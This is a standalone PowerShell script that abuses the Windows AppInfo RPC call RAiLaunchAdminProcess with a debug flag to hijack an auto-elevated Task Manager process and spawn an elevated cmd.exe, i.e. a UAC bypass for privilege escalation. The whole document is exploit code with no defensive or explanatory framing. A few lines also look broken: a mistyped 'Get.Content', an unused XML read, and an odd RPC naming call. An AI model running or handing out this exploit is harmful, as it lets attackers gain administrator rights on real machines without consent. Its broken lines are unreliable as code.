# Install the NtObjectManager module from the PowerShell gallery for the current user
Install-Module "NtObjectManager" -Scope CurrentUser

$rpc = Get-RpcServer "c:\windows\system32\appinfo.dll" | Select-RpcServer -InterfaceId "201ef99a-7fa0-444c-9399-19ba84f12a1a"
$xmlString = Get.Content .\names.xml -Raw
Set-RpcServerName $rpc
$client = Get-RpcClient $rpc
Connect-RpcClient $client

#RAiLaunchAdminProcess
function Start-Uac {
  Param(
    [Parameter(Mandatory, Position = 0)]
    [string]$Executable,
    [switch]$RunAsAdmin
  )

  $CreateFlags = [NtApiDotNet.Win32.CreateProcessFlags]::DebugProcess -bor `
        [NtApiDotNet.Win32.CreateProcessFlags]::UnicodeEnvironment
  $StartInfo = $client.New.APP_STARTUP_INFO()

  $result = $client.RAiLaunchAdminProcess($Executable, $Executable,`
          [int]$RunAsAdmin.IsPresent, [int]$CreateFlags,`
          "C:\", "WinSta0\Default", $StartInfo, 0, -1)
  if ($result.retval -ne 0) {
    $ex = [System.ComponentModel.Win32Exception]::new($result.retval)
    throw $ex
  }

  $h = $result.ProcessInformation.ProcessHandle.Value
  Get-NtObjectFromHandle $h -OwnsHandle
}

$p = Start-Uac "c:\windows\system32\notepad.exe"
$dbg = Get-NtDebug -Process $p
Stop-NtProcess $p
Remove-NtDebugProcess $dbg -Process $p

#Create an elevated process
$p = Start-Uac "c:\windows\system32\taskmgr.exe" -RunAsAdmin
$ev = Start-NtDebugWait -Seconds 0 -DebugObject $dbg
$h = [IntPtr]-1
$new_p = Copy-NtObject -SourceProcess $ev.Process -SourceHandle $h
Remove-NtDebugProcess $dbg -Process $new_p

New-Win32Process "cmd.exe" -ParentProcess $new_p -CreationFlags NewConsole